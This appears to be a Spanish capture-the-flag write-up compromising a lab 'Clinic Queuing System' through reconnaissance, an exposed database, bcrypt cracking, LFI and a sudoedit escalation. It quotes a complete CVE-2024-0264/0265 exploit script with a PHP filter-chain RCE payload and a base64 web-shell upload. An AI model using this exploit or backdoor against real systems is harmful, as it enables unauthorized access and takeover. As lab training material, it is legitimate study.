Después de desplegar el Laboratorio, podemos verificar rápidamente conectividad con el contenedor de la siguiente manera:
ping -c 1 172.17.0.2 -R
Resultado
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.073 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.073/0.073/0.073/0.000 ms
Como podemos ver, ningún paquete se perdió, ademas de que mediante el TTL que es 64 podemos intuir que es un sistema Linux, ahora creamos las carpetas de trabajo con el comando mkt, luego entramos a recognition/nmap y empezamos con el siguiente escaneo:
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 18:27:30 2025 -- 1 IP address (1 host up) scanned in 7.82 seconds
El resultado de nmap nos muestra información interesante sobre la pagina web que corre en el puerto 80, vemos que hay un Login en la pagina de inicio manejado por el archivo login.php, vemos falta de cabeceras de seguridad y la versión de Apache 2.4.52, ahora podemos ir a ver la pagina web.
Si queremos más información sobre la pagina web podemos usar Whatweb.
Donde podemos ver la redirección que se hace si no estamos Logeados.
Pagina web
Podemos apreciar una pagina de Login, también tenemos un apartado al lado izquierdo del botón de Login el cual lleva a patient_side.php, en este punto antes que nada vamos a hacer Fuzzing con FeroxBuster.
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://172.17.0.2/
🚀 Threads │ 200
📖 Wordlist │ /WordLists/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://172.17.0.2/ => ./login.php
301 GET 9l 28w 306c http://172.17.0.2/css => http://172.17.0.2/css/
200 GET 1l 6804w 105151c http://172.17.0.2/css/bootstrap-reboot.rtl.css.map
200 GET 1l 11998w 192214c http://172.17.0.2/css/bootstrap-utilities.rtl.css.map
200 GET 7l 1994w 162720c http://172.17.0.2/css/bootstrap.min.css
200 GET 427l 680w 5850c http://172.17.0.2/css/bootstrap-reboot.css
200 GET 8l 65w 4646c http://172.17.0.2/css/bootstrap-reboot.min.css
200 GET 424l 675w 5827c http://172.17.0.2/css/bootstrap-reboot.rtl.css
200 GET 4857l 7719w 71451c http://172.17.0.2/css/bootstrap-utilities.rtl.css
200 GET 7l 91w 53479c http://172.17.0.2/css/bootstrap-utilities.min.css
301 GET 9l 28w 305c http://172.17.0.2/db => http://172.17.0.2/db/
301 GET 9l 28w 305c http://172.17.0.2/js => http://172.17.0.2/js/
200 GET 7l 1019w 78468c http://172.17.0.2/js/bootstrap.bundle.min.js
200 GET 2l 1294w 89501c http://172.17.0.2/js/jquery-3.6.0.min.js
200 GET 7l 758w 72016c http://172.17.0.2/js/bootstrap.esm.min.js
200 GET 33l 72w 937c http://172.17.0.2/js/script.js
200 GET 1l 36083w 536547c http://172.17.0.2/css/bootstrap.css.map
200 GET 21l 115w 16406c http://172.17.0.2/db/clinic_queuing_db.db
200 GET 1l 3670w 41570c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css.map
200 GET 6780l 18269w 208492c http://172.17.0.2/js/bootstrap.bundle.js
301 GET 9l 28w 309c http://172.17.0.2/backup => http://172.17.0.2/backup/
200 GET 1l 19057w 425643c http://172.17.0.2/js/bootstrap.bundle.js.map
200 GET 1l 11809w 288320c http://172.17.0.2/js/bootstrap.esm.js.map
200 GET 1l 11874w 217145c http://172.17.0.2/js/bootstrap.min.js.map
200 GET 5026l 12057w 148168c http://172.17.0.2/js/bootstrap.js
200 GET 1l 11810w 222508c http://172.17.0.2/js/bootstrap.esm.min.js.map
200 GET 7l 316w 51319c http://172.17.0.2/css/bootstrap-grid.min.css
200 GET 7l 316w 51394c http://172.17.0.2/css/bootstrap-grid.rtl.min.css
200 GET 1l 9263w 117439c http://172.17.0.2/css/bootstrap-grid.min.css.map
200 GET 4996l 7929w 70612c http://172.17.0.2/css/bootstrap-grid.rtl.css
200 GET 4997l 7929w 70538c http://172.17.0.2/css/bootstrap-grid.css
200 GET 1l 9263w 117516c http://172.17.0.2/css/bootstrap-grid.rtl.min.css.map
200 GET 4866l 7734w 71584c http://172.17.0.2/css/bootstrap-utilities.css
200 GET 1l 3196w 35330c http://172.17.0.2/css/bootstrap-reboot.min.css.map
200 GET 11197l 21124w 203803c http://172.17.0.2/css/bootstrap.rtl.css
200 GET 1l 6804w 105138c http://172.17.0.2/css/bootstrap-reboot.css.map
200 GET 1l 8418w 111875c http://172.17.0.2/css/bootstrap-utilities.min.css.map
200 GET 1l 12876w 196535c http://172.17.0.2/css/bootstrap-grid.css.map
200 GET 1l 11998w 192271c http://172.17.0.2/css/bootstrap-utilities.css.map
200 GET 1l 8407w 111710c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css.map
200 GET 8l 65w 4718c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css
200 GET 110l 220w 2307c http://172.17.0.2/css/custom.css
200 GET 1l 19058w 327261c http://172.17.0.2/js/bootstrap.bundle.min.js.map
200 GET 6l 275w 18873c http://172.17.0.2/js/popper.min.js
200 GET 1l 12876w 196539c http://172.17.0.2/css/bootstrap-grid.rtl.css.map
200 GET 5164l 33046w 2601804c http://172.17.0.2/backup/backup.zip
200 GET 7l 756w 59511c http://172.17.0.2/js/bootstrap.min.js
200 GET 4977l 11935w 139019c http://172.17.0.2/js/bootstrap.esm.js
200 GET 1l 11873w 289522c http://172.17.0.2/js/bootstrap.js.map
200 GET 1l 50920w 661035c http://172.17.0.2/css/bootstrap.rtl.min.css.map
200 GET 7l 91w 53407c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css
200 GET 11221l 21180w 204136c http://172.17.0.2/css/bootstrap.css
200 GET 1l 32718w 449111c http://172.17.0.2/css/bootstrap.min.css.map
200 GET 1l 36083w 536461c http://172.17.0.2/css/bootstrap.rtl.css.map
200 GET 7l 1994w 162825c http://172.17.0.2/css/bootstrap.rtl.min.css
[####################] - 20s 220599/220599 0s found:55 errors:1
[####################] - 20s 220545/220545 10939/s http://172.17.0.2/
[####################] - 4s 220545/220545 52990/s http://172.17.0.2/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 220545/220545 1282238/s http://172.17.0.2/db/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 3s 220545/220545 79533/s http://172.17.0.2/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 2s 220545/220545 96815/s http://172.17.0.2/backup/ => Directory listing (add --scan-dir-listings to scan)
También se investigo el nombre Clinic Queuing System en searchsploit el cual nos arrojo un RCE, que no funciono.
Regresando al Fuzzing, vemos bastantes enlaces, pero nos llama la atención 2 lineas en particular:
200 GET 21l 115w 16406c http://172.17.0.2/db/clinic_queuing_db.db
01 GET 9l 28w 309c http://172.17.0.2/backup => http://172.17.0.2/backup/
El enlace http://172.17.0.2/db/clinic_queuing_db.db nos descarga un archivo, probablemente alguna información sobre una base de datos, el contenido de dicho archivo (binario) es el siguiente:
cat clinic_queuing_db.db
Resultado
SQLite format 3@ .WJ
�V
��Q%%�etablepatient_listpatient_listCREATE TABLE `patient_list` (
`patient_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
`queue_no` TEXT NOT NULL,
`fullname` INTEGER NOT NULL,
`address` TEXT NOT NULL,
`contact` TEXT NOT NULL,
`age` INTEGER NOT NULL,
`weight` FLOAT NOT NULL Default 0,
`bp_rate` TEXT NULL,
`status` TINYINT(2) NOT NULL Default 0,
`notify` TINYINT(2) NOT NULL Default 1,
`date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�'�tableuser_listuser_listCREATE TABLE `user_list` (
`user_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
`fullname` INTEGER NOT NULL,
`username` TEXT NOT NULL,
`password` TEXT NOT NULL,
`type` TINYINT(1) NOT NULL Default 0,
`status` TINYINT(1) NOT NULL Default 0,
`date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
%�%m ) 3Jessica Castrojessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK2024-09-20 14:15:46j '� 3Administratoradmin$2y
También podemos leerlo con sqlite3 de la siguiente manera:
sqlite3 clinic_queuing_db.db
Resultado
Podemos ver información sensible dentro de este archivo, por ejemplo: hay un usuario llamado jessica ademas de un hash que posiblemente sean credenciales de algún lado, como el panel de Login que vimos anteriormente, intentemos descifrar ese hash:
Lo primero que aremos es meter la parte del hash importante en un archivo con nombre hash.txt.
La herramienta dice que lo más probable es que sea Blowfish o bcrypt así que usaremos John the Ripper para hacer fuerza bruta al hash.txt
john --format=bcrypt --wordlist=/WordLists/rockyou.txt hash.txt
Resultado
[Karonte:615668] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.Karonte.0/jf.0/154009600/shared_mem_cuda_pool.Karonte could be created.
[Karonte:615668] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
j.castro (?)
1g 0:00:00:01 DONE (2025-03-23 22:49) 0.6993g/s 75.52p/s 75.52c/s 75.52C/s shadow..thomas
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Como podemos ver en los resultados la contraseña es j.castro con usuario jessica, con estas credenciales podemos entrar a Clinic Queuing System.
username-anarchy -i UserList.txt > wordlist.txt
Resultado
Como vemos, username-anarchy pudo crear una combinación correcta según el nombre y el apellido del usuario en este caso UserList.txt contiene Jessica Castro.
Viendo un poco la pagina no veo nada extraño, si recordamos anteriormente haciendo Fuzzing encontramos la base de datos y un archivo zip, el cual dice ser un backup, lo descargamos y vemos que contiene la estructura interna del servidor, contiene cada archivo que compone la pagina web de Clinic Queuing System.
Anteriormente utilizando searchsploit encontramos que la pagina, era vulnerable al CVE-2024-0264, esta vulnerabilidad radicaba en que la pagina web no realizaba una debida validación del token en ./LoginRegistration.php pero en el backup vemos que esta vulnerabilidad fue parcheada ya que agregaron la siguiente linea:
Solucionando el problema de validación, searchsploit en el mismo exploit nos mostraba la vulnerabilidad CVE-2024-0265, esta vulnerabilidad radica en el siguiente pedazo de código:
<?php include($page.".php"); ?>
Linea 82 dentro de index.php
La linea 82 representa una vulnerabilidad de inclusión de archivos locales (LFI, Local File Inclusion) porque permite a un atacante manipular el valor de $_GET['page'] para incluir archivos arbitrarios en el servidor.
El valor de $page proviene de un parámetro GET, esto significa que un atacante puede modificar la URL para controlar el contenido de $page, como resultado la pagina web intentará incluir cualquier archivo cuyo nombre coincida con la entrada proporcionada en $_GET['page'].
Por ejemplo:
http://ejemplo.com/index.php?page=patients
Cargará patients.php. Sin embargo, un atacante podría intentar algo más peligroso:
Si allow_url_include está habilitado y la extensión .php no está estrictamente aplicada, un atacante podría leer archivos arbitrarios, ahora bien el exploit que nos da searchsploit es el siguiente:
# Exploit Title: Clinic Queuing System 1.0 RCE
# Date: 2024/1/7
# Exploit Author: Juan Marco Sanchez
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html
# Version: 1.0
# Tested on: Debian Linux Apache Web Server
# CVE: CVE-2024-0264 and CVE-2024-0265
import requests
import random
import argparse
from bs4 import BeautifulSoup
parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()
base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"
def phase1(): # CVE-2024-0264
rand_user = 'pwn_'+str(random.randint(100, 313))
rand_pass = 'pwn_'+str(random.randint(100, 313))
pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
print("[*] adding administrator " + rand_user + ":" + rand_pass)
phase1 = requests.post(phase1_url, pwn_user_data)
if "User Account has been added successfully." in phase1.text:
print("[+] Phase 1 Success - Admin user added!\n")
print("[*] Initiating Phase 2")
phase2(rand_user, rand_pass)
else:
print("[X] user creation failed :(")
die()
def phase2(user, password): # CVE-2024-0265
s = requests.Session();
login_data = {'formToken':'','username':user, 'password':password}
print("[*] Loggin in....")
phase2 = s.post(phase2_url, login_data)
if "Login successfully." in phase2.text:
print("[+] Login success")
else:
print("[X] Login failed.")
die()
print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
#print("[*] Payload: " + rce_url)
rce = s.get(rce_url)
if "jmrcsnchz" in rce.text:
print("[+] RCE success!")
soup = BeautifulSoup(rce.text, 'html.parser')
print("[+] Output of id: " + soup.pre.get_text())
print("[*] Uploading php backdoor....")
s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
print("[+] Access at " + base_url + "/rce.php?0=whoami")
else:
print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
die()
try:
print("[*] Initiating Phase 1")
phase1()
except:
print("Exploit failed.")
Si lo analizamos podemos ver que un requisito es tener un usuario y una contraseña, lo cual ya tenemos, lógicamente tenemos que hacer uso del token para hacer las peticiones, las lineas clave son:
Ctrl + D para entrar a la Bash, somos el usuario www-data, aunque podemos notar que hay un usuario llamado jessica, pero comete el error de reutilizar credenciales lo cual aprovechamos.
Podemos ver que este usuario puede ejecutar sudoedit de manera privilegiada, esto lo podemos saber de 2 maneras, usando el modulo de pwncat o ejecutando manualmente sudo -l:
Ahora bien, podemos ejecutar:
sudoedit --version
Resultado
Verificamos que editor tenemos disponible, ya sea vi, vim o nano.
Exportamos la variable EDITOR, como se menciona en el CVE.
Ejecutamos sudoedit de forma privilegiada.
Dentro comentamos o borramos los permisos de jessica y agregamos los nuevos permisos jessica ALL=(ALL:ALL) ALL.
Guardamos y simplemente queda ejecutar sudo su para convertirnos en root.
La contraseña j.castro aunque se encuentra en la Wordlistrockyou.txt lo ideal es usar otra técnica, ya que puede tomar un poco de tiempo si usamos el rockyou.txt, por ejemplo, podemos usar , podemos aprovechar el echo de que tenemos el nombre y el apellido de un usuario legitimo, después de instalar correctamente username-anarchy podemos ejecutar el siguiente comando:
Si buscamos Sudoers policy plugin version 1.9.9 encontraremos ## aquí explica como explotar esta vulnerabilidad y también como mitigarla, en nuestro caso lo que aremos es lo siguiente: